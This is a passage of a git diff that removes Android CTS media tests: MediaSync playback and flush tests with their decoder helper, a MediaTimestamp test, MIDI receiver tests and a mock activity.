-        getInstrumentation().waitForIdleSync();
-        try {
-            runTestOnUiThread(new Runnable() {
-                public void run() {
-                    mMediaSync = new MediaSync();
-                }
-            });
-        } catch (Throwable e) {
-            e.printStackTrace();
-            fail();
-        }
-        mContext = getInstrumentation().getTargetContext();
-        mDecoderVideo = new Decoder(this, mMediaSync, false);
-        mDecoderAudio = new Decoder(this, mMediaSync, true);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        if (mMediaSync != null) {
-            mMediaSync.release();
-            mMediaSync = null;
-        }
-        if (mDecoderAudio != null) {
-            mDecoderAudio.release();
-            mDecoderAudio = null;
-        }
-        if (mDecoderVideo != null) {
-            mDecoderVideo.release();
-            mDecoderVideo = null;
-        }
-        if (mSurface != null) {
-            mSurface.release();
-            mSurface = null;
-        }
-        mActivity = null;
-        mHasAudio = false;
-        mHasVideo = false;
-        mEosAudio = false;
-        mEosVideo = false;
-        mTaggedAudioBufferIndex = -1;
-        super.tearDown();
-    }
-
-    private boolean reachedEos_l() {
-        return ((!mHasVideo || mEosVideo) && (!mHasAudio || mEosAudio));
-    }
-
-    public void onTaggedAudioBufferIndex(Decoder decoder, int index) {
-        synchronized (mConditionTaggedAudioBufferIndex) {
-            if (decoder == mDecoderAudio) {
-                mTaggedAudioBufferIndex = index;
-            }
-        }
-    }
-
-    public void onEos(Decoder decoder) {
-        synchronized (mConditionEosAudio) {
-            if (decoder == mDecoderAudio) {
-                mEosAudio = true;
-                mConditionEosAudio.notify();
-            }
-        }
-
-        synchronized (mConditionEos) {
-            if (decoder == mDecoderVideo) {
-                mEosVideo = true;
-            }
-            if (reachedEos_l()) {
-                mConditionEos.notify();
-            }
-        }
-    }
-
-    private boolean hasAudioOutput() {
-        return mActivity.getPackageManager()
-            .hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT);
-    }
-
-    /**
-     * Tests setPlaybackParams is handled correctly for wrong rate.
-     */
-    public void testSetPlaybackParamsFail() throws InterruptedException {
-        final float rate = -1.0f;
-        try {
-            mMediaSync.setPlaybackParams(new PlaybackParams().setSpeed(rate));
-            fail("playback rate " + rate + " is not handled correctly");
-        } catch (IllegalArgumentException e) {
-        }
-
-        assertTrue("The stream in test file can not be decoded",
-                mDecoderAudio.setup(INPUT_RESOURCE, null, Long.MAX_VALUE, NO_TIMESTAMP));
-
-        // get audio track.
-        mMediaSync.setAudioTrack(mDecoderAudio.getAudioTrack());
-
-        try {
-            mMediaSync.setPlaybackParams(new PlaybackParams().setSpeed(rate));
-            fail("With audio track set, playback rate " + rate
-                    + " is not handled correctly");
-        } catch (IllegalArgumentException e) {
-        }
-    }
-
-    /**
-     * Tests setPlaybackParams is handled correctly for good rate without audio track set.
-     * The case for good rate with audio track set is tested in testPlaybackRate*.
-     */
-    public void testSetPlaybackParamsSucceed() throws InterruptedException {
-        final float rate = (float)TEST_MAX_SPEED;
-        try {
-            mMediaSync.setPlaybackParams(new PlaybackParams().setSpeed(rate));
-            PlaybackParams pbp = mMediaSync.getPlaybackParams();
-            assertEquals(rate, pbp.getSpeed(), FLOAT_TOLERANCE);
-        } catch (IllegalArgumentException e) {
-            fail("playback rate " + rate + " is not handled correctly");
-        }
-    }
-
-    /**
-     * Tests returning audio buffers correctly.
-     */
-    public void testAudioBufferReturn() throws InterruptedException {
-        final int timeOutMs = 10000;
-        boolean completed = runCheckAudioBuffer(INPUT_RESOURCE, timeOutMs);
-        if (!completed) {
-            throw new RuntimeException("timed out waiting for audio buffer return");
-        }
-    }
-
-    private PlaybackParams PAUSED_RATE = new PlaybackParams().setSpeed(0.f);
-    private PlaybackParams NORMAL_RATE = new PlaybackParams().setSpeed(1.f);
-
-    private boolean runCheckAudioBuffer(String inputResource, int timeOutMs) {
-        final int NUM_LOOPS = 10;
-        final Object condition = new Object();
-
-        mHasAudio = true;
-        if (mDecoderAudio.setup(inputResource, null, Long.MAX_VALUE, NO_TIMESTAMP) == false) {
-            return true;
-        }
-
-        // get audio track.
-        mMediaSync.setAudioTrack(mDecoderAudio.getAudioTrack());
-
-        mMediaSync.setCallback(new MediaSync.Callback() {
-            @Override
-            public void onAudioBufferConsumed(
-                    MediaSync sync, ByteBuffer byteBuffer, int bufferIndex) {
-                Decoder decoderAudio = mDecoderAudio;
-                if (decoderAudio != null) {
-                    decoderAudio.checkReturnedAudioBuffer(byteBuffer, bufferIndex);
-                    decoderAudio.releaseOutputBuffer(bufferIndex, NO_TIMESTAMP);
-                    synchronized (condition) {
-                        ++mNumBuffersReturned;
-                        if (mNumBuffersReturned >= NUM_LOOPS) {
-                            condition.notify();
-                        }
-                    }
-                }
-            }
-        }, null);
-
-        mMediaSync.setPlaybackParams(NORMAL_RATE);
-
-        synchronized (condition) {
-            mDecoderAudio.start();
-
-            try {
-                condition.wait(timeOutMs);
-            } catch (InterruptedException e) {
-            }
-            return (mNumBuffersReturned >= NUM_LOOPS);
-        }
-    }
-
-    /**
-     * Tests flush.
-     */
-    public void testFlush() throws InterruptedException {
-        final int timeOutMs = 5000;
-        boolean completed = runFlush(INPUT_RESOURCE, timeOutMs);
-        if (!completed) {
-            throw new RuntimeException("timed out waiting for flush");
-        }
-    }
-
-    private boolean runFlush(String inputResource, int timeOutMs) {
-        final int INDEX_BEFORE_FLUSH = 1;
-        final int INDEX_AFTER_FLUSH = 2;
-        final int BUFFER_SIZE = 1024;
-        final int[] returnedIndex = new int[1];
-        final Object condition = new Object();
-
-        returnedIndex[0] = -1;
-
-        mHasAudio = true;
-        if (mDecoderAudio.setup(inputResource, null, Long.MAX_VALUE, NO_TIMESTAMP) == false) {
-            return true;
-        }
-
-        // get audio track.
-        mMediaSync.setAudioTrack(mDecoderAudio.getAudioTrack());
-
-        mMediaSync.setCallback(new MediaSync.Callback() {
-            @Override
-            public void onAudioBufferConsumed(
-                    MediaSync sync, ByteBuffer byteBuffer, int bufferIndex) {
-                synchronized (condition) {
-                    if (returnedIndex[0] == -1) {
-                        returnedIndex[0] = bufferIndex;
-                        condition.notify();
-                    }
-                }
-            }
-        }, null);
-
-        mMediaSync.setOnErrorListener(new MediaSync.OnErrorListener() {
-            @Override
-            public void onError(MediaSync sync, int what, int extra) {
-                fail("got error from media sync (" + what + ", " + extra + ")");
-            }
-        }, null);
-
-        mMediaSync.setPlaybackParams(PAUSED_RATE);
-
-        ByteBuffer buffer1 = ByteBuffer.allocate(BUFFER_SIZE);
-        ByteBuffer buffer2 = ByteBuffer.allocate(BUFFER_SIZE);
-        mMediaSync.queueAudio(buffer1, INDEX_BEFORE_FLUSH, 0 /* presentationTimeUs */);
-        mMediaSync.flush();
-        mMediaSync.queueAudio(buffer2, INDEX_AFTER_FLUSH, 0 /* presentationTimeUs */);
-
-        synchronized (condition) {
-            mMediaSync.setPlaybackParams(NORMAL_RATE);
-
-            try {
-                condition.wait(timeOutMs);
-            } catch (InterruptedException e) {
-            }
-            return (returnedIndex[0] == INDEX_AFTER_FLUSH);
-        }
-    }
-
-    /**
-     * Tests playing back audio successfully.
-     */
-    public void testPlayVideo() throws Exception {
-        playAV(INPUT_RESOURCE, 5000 /* lastBufferTimestampMs */,
-               false /* audio */, true /* video */, 10000 /* timeOutMs */);
-    }
-
-    /**
-     * Tests playing back video successfully.
-     */
-    public void testPlayAudio() throws Exception {
-        if (!hasAudioOutput()) {
-            Log.w(LOG_TAG,"AUDIO_OUTPUT feature not found. This system might not have a valid "
-                    + "audio output HAL");
-            return;
-        }
-
-        playAV(INPUT_RESOURCE, 5000 /* lastBufferTimestampMs */,
-               true /* audio */, false /* video */, 10000 /* timeOutMs */);
-    }
-
-    /**
-     * Tests playing back audio and video successfully.
-     */
-    public void testPlayAudioAndVideo() throws Exception {
-        playAV(INPUT_RESOURCE, 5000 /* lastBufferTimestampMs */,
-               true /* audio */, true /* video */, 10000 /* timeOutMs */);
-    }
-
-    /**
-     * Tests playing at specified playback rate successfully.
-     */
-    public void testPlaybackRateQuarter() throws Exception {
-        playAV(INPUT_RESOURCE, 2000 /* lastBufferTimestampMs */,
-               true /* audio */, true /* video */, 10000 /* timeOutMs */,
-               0.25f /* playbackRate */);
-    }
-    public void testPlaybackRateHalf() throws Exception {
-        playAV(INPUT_RESOURCE, 4000 /* lastBufferTimestampMs */,
-               true /* audio */, true /* video */, 10000 /* timeOutMs */,
-               0.5f /* playbackRate */);
-    }
-    public void testPlaybackRateDouble() throws Exception {
-        playAV(INPUT_RESOURCE, 8000 /* lastBufferTimestampMs */,
-               true /* audio */, true /* video */, 10000 /* timeOutMs */,
-               (float)TEST_MAX_SPEED /* playbackRate */);
-    }
-
-    private void playAV(
-            final String inputResource,
-            final long lastBufferTimestampMs,
-            final boolean audio,
-            final boolean video,
-            int timeOutMs) throws Exception {
-        playAV(inputResource, lastBufferTimestampMs, audio, video, timeOutMs, 1.0f);
-    }
-
-    private class PlayAVState {
-        boolean mTimeValid;
-        long mMediaDurationUs;
-        long mClockDurationUs;
-        float mSyncTolerance;
-    };
-
-    private void playAV(
-            final String inputResource,
-            final long lastBufferTimestampMs,
-            final boolean audio,
-            final boolean video,
-            int timeOutMs,
-            final float playbackRate) throws Exception {
-        final int limit = 5;
-        String info = "";
-        Preconditions.assertTestFileExists(inputResource);
-        for (int tries = 0; ; ++tries) {
-            // Run test
-            final AtomicBoolean completed = new AtomicBoolean();
-            final PlayAVState state = new PlayAVState();
-            Thread decodingThread = new Thread(new Runnable() {
-                @Override
-                public void run() {
-                    completed.set(runPlayAV(inputResource, lastBufferTimestampMs * 1000,
-                            audio, video, playbackRate, state));
-                }
-            });
-            decodingThread.start();
-            decodingThread.join(timeOutMs);
-            assertTrue("timed out decoding to end-of-stream", completed.get());
-
-            // Examine results
-            if (!state.mTimeValid) return;
-
-            // sync.getTolerance() is MediaSync's tolerance of the playback rate, whereas
-            // FLOAT_PLAYBACK_RATE_TOLERANCE is our test's tolerance.
-            // We need to add both to get an upperbound for allowable error.
-            final double tolerance = state.mMediaDurationUs
-                    * (state.mSyncTolerance + FLOAT_PLAYBACK_RATE_TOLERANCE)
-                    + TIME_MEASUREMENT_TOLERANCE_US;
-            final double diff = state.mMediaDurationUs - state.mClockDurationUs * playbackRate ;
-            info += "[" + tries
-                    + "] playbackRate " + playbackRate
-                    + ", clockDurationUs " + state.mClockDurationUs
-                    + ", mediaDurationUs " + state.mMediaDurationUs
-                    + ", diff " + diff
-                    + ", tolerance " + tolerance + "\n";
-
-            // Good enough?
-            if (Math.abs(diff) <= tolerance) {
-                Log.d(LOG_TAG, info);
-                return;
-            }
-            assertTrue("bad playback\n" + info, tries < limit);
-
-            Log.d(LOG_TAG, "Trying again\n" + info);
-
-            // Try again (may throw Exception)
-            tearDown();
-            setUp();
-
-            Thread.sleep(1000 /* millis */);
-        }
-    }
-
-    private boolean runPlayAV(
-            String inputResource,
-            long lastBufferTimestampUs,
-            boolean audio,
-            boolean video,
-            float playbackRate,
-            PlayAVState state) {
-        // allow 750ms for playback to get to stable state.
-        final int PLAYBACK_RAMP_UP_TIME_US = 750000;
-
-        Preconditions.assertTestFileExists(inputResource);
-
-        final Object conditionFirstAudioBuffer = new Object();
-
-        if (video) {
-            mMediaSync.setSurface(mActivity.getSurfaceHolder().getSurface());
-            mSurface = mMediaSync.createInputSurface();
-
-            if (mDecoderVideo.setup(
-                    inputResource, mSurface, lastBufferTimestampUs, NO_TIMESTAMP) == false) {
-                return true;
-            }
-            mHasVideo = true;
-        }
-
-        if (audio) {
-            if (mDecoderAudio.setup(
-                    inputResource, null, lastBufferTimestampUs,
-                    PLAYBACK_RAMP_UP_TIME_US) == false) {
-                return true;
-            }
-
-            // get audio track.
-            mMediaSync.setAudioTrack(mDecoderAudio.getAudioTrack());
-
-            mMediaSync.setCallback(new MediaSync.Callback() {
-                @Override
-                public void onAudioBufferConsumed(
-                        MediaSync sync, ByteBuffer byteBuffer, int bufferIndex) {
-                    Decoder decoderAudio = mDecoderAudio;
-                    if (decoderAudio != null) {
-                        decoderAudio.releaseOutputBuffer(bufferIndex, NO_TIMESTAMP);
-                    }
-                    synchronized (conditionFirstAudioBuffer) {
-                        synchronized (mConditionTaggedAudioBufferIndex) {
-                            if (mTaggedAudioBufferIndex >= 0
-                                    && mTaggedAudioBufferIndex == bufferIndex) {
-                                conditionFirstAudioBuffer.notify();
-                            }
-                        }
-                    }
-                }
-            }, null);
-
-            mHasAudio = true;
-        }
-
-        SyncParams sync = new SyncParams().allowDefaults();
-        mMediaSync.setSyncParams(sync);
-        sync = mMediaSync.getSyncParams();
-
-        mMediaSync.setPlaybackParams(new PlaybackParams().setSpeed(playbackRate));
-
-        synchronized (conditionFirstAudioBuffer) {
-            if (video) {
-                mDecoderVideo.start();
-            }
-            if (audio) {
-                mDecoderAudio.start();
-
-                // wait for the first audio output buffer returned by media sync.
-                try {
-                    conditionFirstAudioBuffer.wait();
-                } catch (InterruptedException e) {
-                    Log.i(LOG_TAG, "worker thread is interrupted.");
-                    return true;
-                }
-            }
-        }
-
-        if (audio) {
-            MediaTimestamp mediaTimestamp = mMediaSync.getTimestamp();
-            assertTrue("No timestamp available for starting", mediaTimestamp != null);
-            long checkStartTimeRealUs = System.nanoTime() / 1000;
-            long checkStartTimeMediaUs = mediaTimestamp.mediaTimeUs;
-
-            synchronized (mConditionEosAudio) {
-                if (!mEosAudio) {
-                    try {
-                        mConditionEosAudio.wait();
-                    } catch (InterruptedException e) {
-                        Log.i(LOG_TAG, "worker thread is interrupted when waiting for audio EOS.");
-                        return true;
-                    }
-                }
-            }
-            mediaTimestamp = mMediaSync.getTimestamp();
-            assertTrue("No timestamp available for ending", mediaTimestamp != null);
-            state.mTimeValid = true;
-            state.mClockDurationUs = System.nanoTime() / 1000 - checkStartTimeRealUs;
-            state.mMediaDurationUs = mediaTimestamp.mediaTimeUs - checkStartTimeMediaUs;
-            state.mSyncTolerance = sync.getTolerance();
-        }
-
-        boolean completed = false;
-        synchronized (mConditionEos) {
-            if (!reachedEos_l()) {
-                try {
-                    mConditionEos.wait();
-                } catch (InterruptedException e) {
-                }
-            }
-            completed = reachedEos_l();
-        }
-        return completed;
-    }
-
-    private class Decoder extends MediaCodec.Callback {
-        private final int NO_SAMPLE_RATE = -1;
-        private final int NO_BUFFER_INDEX = -1;
-
-        private MediaSyncTest mMediaSyncTest = null;
-        private MediaSync mMediaSync = null;
-        private boolean mIsAudio = false;
-        private long mLastBufferTimestampUs = 0;
-        private long mStartingAudioTimestampUs = NO_TIMESTAMP;
-
-        private Surface mSurface = null;
-
-        private AudioTrack mAudioTrack = null;
-
-        private final Object mConditionCallback = new Object();
-        private MediaExtractor mExtractor = null;
-        private MediaCodec mDecoder = null;
-
-        private final Object mAudioBufferLock = new Object();
-        private List<AudioBuffer> mAudioBuffers = new LinkedList<AudioBuffer>();
-
-        // accessed only on callback thread.
-        private boolean mEos = false;
-        private boolean mSignaledEos = false;
-
-        private class AudioBuffer {
-            public ByteBuffer mByteBuffer;
-            public int mBufferIndex;
-
-            public AudioBuffer(ByteBuffer byteBuffer, int bufferIndex) {
-                mByteBuffer = byteBuffer;
-                mBufferIndex = bufferIndex;
-            }
-        }
-
-        private HandlerThread mHandlerThread;
-        private Handler mHandler;
-
-        Decoder(MediaSyncTest test, MediaSync sync, boolean isAudio) {
-            mMediaSyncTest = test;
-            mMediaSync = sync;
-            mIsAudio = isAudio;
-        }
-
-        public boolean setup(
-                String inputResource, Surface surface, long lastBufferTimestampUs,
-                long startingAudioTimestampUs) {
-            if (!mIsAudio) {
-                mSurface = surface;
-                // handle video callback in a separate thread as releaseOutputBuffer is blocking
-                mHandlerThread = new HandlerThread("SyncViewVidDec");
-                mHandlerThread.start();
-                mHandler = new Handler(mHandlerThread.getLooper());
-            }
-            mLastBufferTimestampUs = lastBufferTimestampUs;
-            mStartingAudioTimestampUs = startingAudioTimestampUs;
-            try {
-                // get extrator.
-                String type = mIsAudio ? "audio/" : "video/";
-                mExtractor = MediaUtils.createMediaExtractorForMimeType(
-                        mContext, inputResource, type);
-
-                // get decoder.
-                MediaFormat mediaFormat =
-                    mExtractor.getTrackFormat(mExtractor.getSampleTrackIndex());
-                String mimeType = mediaFormat.getString(MediaFormat.KEY_MIME);
-                if (!MediaUtils.hasDecoder(mimeType)) {
-                    Log.i(LOG_TAG, "No decoder found for mimeType= " + mimeType);
-                    return false;
-                }
-                mDecoder = MediaCodec.createDecoderByType(mimeType);
-                mDecoder.configure(mediaFormat, mSurface, null, 0);
-                mDecoder.setCallback(this, mHandler);
-
-                return true;
-            } catch (IOException e) {
-                throw new RuntimeException("error reading input resource", e);
-            }
-        }
-
-        public void start() {
-            if (mDecoder != null) {
-                mDecoder.start();
-            }
-        }
-
-        public void release() {
-            synchronized (mConditionCallback) {
-                if (mDecoder != null) {
-                    try {
-                        mDecoder.stop();
-                    } catch (IllegalStateException e) {
-                    }
-                    mDecoder.release();
-                    mDecoder = null;
-                }
-                if (mExtractor != null) {
-                    mExtractor.release();
-                    mExtractor = null;
-                }
-            }
-
-            if (mAudioTrack != null) {
-                mAudioTrack.release();
-                mAudioTrack = null;
-            }
-        }
-
-        public AudioTrack getAudioTrack() {
-            if (!mIsAudio) {
-                throw new RuntimeException("can not create audio track for video");
-            }
-
-            if (mExtractor == null) {
-                throw new RuntimeException("extrator is null");
-            }
-
-            if (mAudioTrack == null) {
-                MediaFormat mediaFormat =
-                    mExtractor.getTrackFormat(mExtractor.getSampleTrackIndex());
-                int sampleRateInHz = mediaFormat.getInteger(MediaFormat.KEY_SAMPLE_RATE);
-                int channelConfig = (mediaFormat.getInteger(MediaFormat.KEY_CHANNEL_COUNT) == 1 ?
-                        AudioFormat.CHANNEL_OUT_MONO : AudioFormat.CHANNEL_OUT_STEREO);
-                int audioFormat = AudioFormat.ENCODING_PCM_16BIT;
-                int minBufferSizeInBytes = AudioTrack.getMinBufferSize(
-                        sampleRateInHz,
-                        channelConfig,
-                        audioFormat);
-                final int frameCount = APPLICATION_AUDIO_PERIOD_MS * sampleRateInHz / 1000;
-                final int frameSizeInBytes = Integer.bitCount(channelConfig)
-                        * AudioFormat.getBytesPerSample(audioFormat);
-                // ensure we consider application requirements for writing audio data
-                minBufferSizeInBytes = TEST_MAX_SPEED /* speed influences buffer size */
-                        * Math.max(minBufferSizeInBytes, frameCount * frameSizeInBytes);
-                mAudioTrack = new AudioTrack(
-                        AudioManager.STREAM_MUSIC,
-                        sampleRateInHz,
-                        channelConfig,
-                        audioFormat,
-                        minBufferSizeInBytes,
-                        AudioTrack.MODE_STREAM);
-            }
-
-            return mAudioTrack;
-        }
-
-        public void releaseOutputBuffer(int bufferIndex, long renderTimestampNs) {
-            synchronized (mConditionCallback) {
-                if (mDecoder != null) {
-                    if (renderTimestampNs == NO_TIMESTAMP) {
-                        mDecoder.releaseOutputBuffer(bufferIndex, false /* render */);
-                    } else {
-                        mDecoder.releaseOutputBuffer(bufferIndex, renderTimestampNs);
-                    }
-                }
-            }
-        }
-
-        @Override
-        public void onError(MediaCodec codec, MediaCodec.CodecException e) {
-        }
-
-        @Override
-        public void onInputBufferAvailable(MediaCodec codec, int index) {
-            synchronized (mConditionCallback) {
-                if (mExtractor == null || mExtractor.getSampleTrackIndex() == -1
-                        || mSignaledEos || mDecoder != codec) {
-                    return;
-                }
-
-                ByteBuffer buffer = codec.getInputBuffer(index);
-                int size = mExtractor.readSampleData(buffer, 0);
-                long timestampUs = mExtractor.getSampleTime();
-                mExtractor.advance();
-                mSignaledEos = mExtractor.getSampleTrackIndex() == -1
-                        || timestampUs >= mLastBufferTimestampUs;
-                codec.queueInputBuffer(
-                        index,
-                        0,
-                        size,
-                        timestampUs,
-                        mSignaledEos ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
-            }
-        }
-
-        @Override
-        public void onOutputBufferAvailable(
-                MediaCodec codec, int index, MediaCodec.BufferInfo info) {
-            synchronized (mConditionCallback) {
-                if (mEos || mDecoder != codec) {
-                    return;
-                }
-
-                mEos = (info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0;
-
-                if (info.size > 0) {
-                    if (mIsAudio) {
-                        ByteBuffer outputByteBuffer = codec.getOutputBuffer(index);
-                        synchronized (mAudioBufferLock) {
-                            mAudioBuffers.add(new AudioBuffer(outputByteBuffer, index));
-                        }
-                        mMediaSync.queueAudio(
-                                outputByteBuffer,
-                                index,
-                                info.presentationTimeUs);
-                        if (mStartingAudioTimestampUs >= 0
-                                && info.presentationTimeUs >= mStartingAudioTimestampUs) {
-                            mMediaSyncTest.onTaggedAudioBufferIndex(this, index);
-                            mStartingAudioTimestampUs = NO_TIMESTAMP;
-                        }
-                    } else {
-                        codec.releaseOutputBuffer(index, info.presentationTimeUs * 1000);
-                    }
-                } else {
-                    codec.releaseOutputBuffer(index, false);
-                }
-            }
-
-            if (mEos) {
-                mMediaSyncTest.onEos(this);
-            }
-        }
-
-        @Override
-        public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
-        }
-
-        public void checkReturnedAudioBuffer(ByteBuffer byteBuffer, int bufferIndex) {
-            synchronized (mAudioBufferLock) {
-                AudioBuffer audioBuffer = mAudioBuffers.get(0);
-                if (audioBuffer.mByteBuffer != byteBuffer
-                        || audioBuffer.mBufferIndex != bufferIndex) {
-                    fail("returned buffer doesn't match what's sent");
-                }
-                mAudioBuffers.remove(0);
-            }
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaTimestampTest.java b/tests/tests/media/src/android/media/cts/MediaTimestampTest.java
deleted file mode 100644
index 78fd1375..0000000
--- a/tests/tests/media/src/android/media/cts/MediaTimestampTest.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.MediaTimestamp;
-import android.test.AndroidTestCase;
-
-/**
- * Tests for MediaTimestamp.
- */
-@NonMediaMainlineTest
-public class MediaTimestampTest extends AndroidTestCase {
-    public void testMediaTimestamp() {
-        MediaTimestamp timestamp = new MediaTimestamp(1000, 2000, 2.0f);
-        assertEquals(1000, timestamp.getAnchorMediaTimeUs());
-        assertEquals(2000, timestamp.getAnchorSystemNanoTime());
-        assertEquals(2.0f, timestamp.getMediaClockRate());
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MidiSoloTest.java b/tests/tests/media/src/android/media/cts/MidiSoloTest.java
deleted file mode 100644
index d4256bb..0000000
--- a/tests/tests/media/src/android/media/cts/MidiSoloTest.java
+++ /dev/null
@@ -1,201 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.platform.test.annotations.AppModeFull;
-import java.io.IOException;
-
-
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.media.midi.MidiDevice;
-import android.media.midi.MidiDevice.MidiConnection;
-import android.media.midi.MidiDeviceInfo;
-import android.media.midi.MidiDeviceStatus;
-import android.media.midi.MidiInputPort;
-import android.media.midi.MidiManager;
-import android.media.midi.MidiReceiver;
-import android.media.midi.MidiSender;
-import android.os.Handler;
-import android.os.Looper;
-
-import com.android.compatibility.common.util.CtsAndroidTestCase;
-
-/**
- * Test MIDI when there may be no MIDI devices available. There is not much we
- * can test without a device.
- */
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class MidiSoloTest extends CtsAndroidTestCase {
-    private static final String TAG = "MidiSoloTest";
-    private final static int LOCAL_STORAGE_SIZE = 256;
-
-    // Store received data so we can check it later.
-    class MyMidiReceiver extends MidiReceiver {
-        public int byteCount;
-        public byte[] data = new byte[LOCAL_STORAGE_SIZE];
-
-        public MyMidiReceiver(int maxMessageSize) {
-            super(maxMessageSize);
-        }
-
-        @Override
-        // Abstract method declared in MidiReceiver
-        public void onSend(byte[] msg, int offset, int count, long timestamp)
-                throws IOException {
-            assertTrue("Message too large.", (count <= getMaxMessageSize()));
-            try {
-                System.arraycopy(msg, offset, data, byteCount, count);
-            } catch (ArrayIndexOutOfBoundsException e) {
-                throw new IOException("Exceeded local storage.", e);
-            }
-            byteCount += count;
-        }
-
-        @Override
-        public void onFlush() {
-            byteCount = 0;
-        }
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        // setup for each test case.
-        super.setUp();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        // Test case clean up.
-        super.tearDown();
-    }
-
-    public void testMidiManager() throws Exception {
-        PackageManager pm = getContext().getPackageManager();
-        if (!pm.hasSystemFeature(PackageManager.FEATURE_MIDI)) {
-            return; // Not supported so don't test it.
-        }
-
-        MidiManager midiManager = (MidiManager) getContext().getSystemService(
-                Context.MIDI_SERVICE);
-        assertTrue("MidiManager not supported.", midiManager != null);
-
-        MidiDeviceInfo[] infos = midiManager.getDevices();
-        assertTrue("Device list was null.", infos != null);
-
-        MidiManager.DeviceCallback callback = new MidiManager.DeviceCallback();
-
-        // These should not crash.
-        midiManager.unregisterDeviceCallback(callback);
-        midiManager.registerDeviceCallback(callback, null);
-        midiManager.unregisterDeviceCallback(callback);
-        midiManager.registerDeviceCallback(callback, new Handler(Looper.getMainLooper()));
-        midiManager.registerDeviceCallback(callback, new Handler(Looper.getMainLooper()));
-        midiManager.unregisterDeviceCallback(callback);
-        midiManager.unregisterDeviceCallback(callback);
-        midiManager.unregisterDeviceCallback(callback);
-    }
-
-    public void testMidiReceiver() throws Exception {
-        PackageManager pm = getContext().getPackageManager();
-        if (!pm.hasSystemFeature(PackageManager.FEATURE_MIDI)) {
-            return; // Not supported so don't test it.
-        }
-
-        MidiReceiver receiver = new MidiReceiver() {
-                @Override
-            public void onSend(byte[] msg, int offset, int count,
-                    long timestamp) throws IOException {
-            }
-        };
-        assertEquals("MidiReceiver default size wrong.", Integer.MAX_VALUE,
-                receiver.getMaxMessageSize());
-
-        int maxSize = 11;
-        MyMidiReceiver myReceiver = new MyMidiReceiver(maxSize);
-        assertEquals("MidiReceiver set size wrong.", maxSize,
-                myReceiver.getMaxMessageSize());
-
-        // Fill array with predictable data.
-        byte[] bar = new byte[200];
-        for (int i = 0; i < bar.length; i++) {
-            bar[i] = (byte) (i ^ 15);
-        }
-        // Small message with no offset.
-        int offset = 0;
-        int count = 3;
-        checkReceivedData(myReceiver, bar, offset, count);
-
-        // Small with an offset.
-        offset = 50;
-        count = 3;
-        checkReceivedData(myReceiver, bar, offset, count);
-
-        // Entire array.
-        offset = 0;
-        count = bar.length;
-        checkReceivedData(myReceiver, bar, offset, count);
-
-        offset = 20;
-        count = 100;
-        checkReceivedData(myReceiver, bar, offset, count);
-    }
-
-    public void testMidiReceiverException() throws Exception {
-        PackageManager pm = getContext().getPackageManager();
-        if (!pm.hasSystemFeature(PackageManager.FEATURE_MIDI)) {
-            return; // Not supported so don't test it.
-        }
-
-        int maxSize = 11;
-        MyMidiReceiver myReceiver = new MyMidiReceiver(maxSize);
-        assertEquals("MidiReceiver set size wrong.", maxSize,
-                myReceiver.getMaxMessageSize());
-
-        // Fill array with predictable data.
-        byte[] bar = new byte[200];
-        int offset = 0;
-        int count = bar.length;
-        myReceiver.flush(); // reset byte counter
-        IOException exception = null;
-        // Send too much data and intentionally cause an IOException.
-        try {
-            int sent = 0;
-            while (sent < LOCAL_STORAGE_SIZE) {
-                myReceiver.send(bar, offset, count);
-                sent += count;
-            }
-        } catch (IOException e) {
-            exception = e;
-        }
-        assertTrue("We should have caught an IOException", exception != null);
-    }
-
-    // Does the data we sent match the data received by the MidiReceiver?
-    private void checkReceivedData(MyMidiReceiver myReceiver, byte[] bar,
-            int offset, int count) throws IOException {
-        myReceiver.flush(); // reset byte counter
-        assertEquals("MidiReceiver flush ", 0, myReceiver.byteCount);
-        myReceiver.send(bar, offset, count);
-        // Did we get all the data
-        assertEquals("MidiReceiver count ", count, myReceiver.byteCount);
-        for (int i = 0; i < count; i++) {
-            assertEquals("MidiReceiver byte " + i + " + " + offset,
-                    bar[i + offset], myReceiver.data[i]);
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MockActivity.java b/tests/tests/media/src/android/media/cts/MockActivity.java
deleted file mode 100644
index 028cfae..0000000
--- a/tests/tests/media/src/android/media/cts/MockActivity.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.app.Activity;
-
-public class MockActivity extends Activity {
-}
diff --git a/tests/tests/media/src/android/media/cts/NativeDecoderTest.java b/tests/tests/media/src/android/media/cts/NativeDecoderTest.java
deleted file mode 100644
index dca76ee..0000000
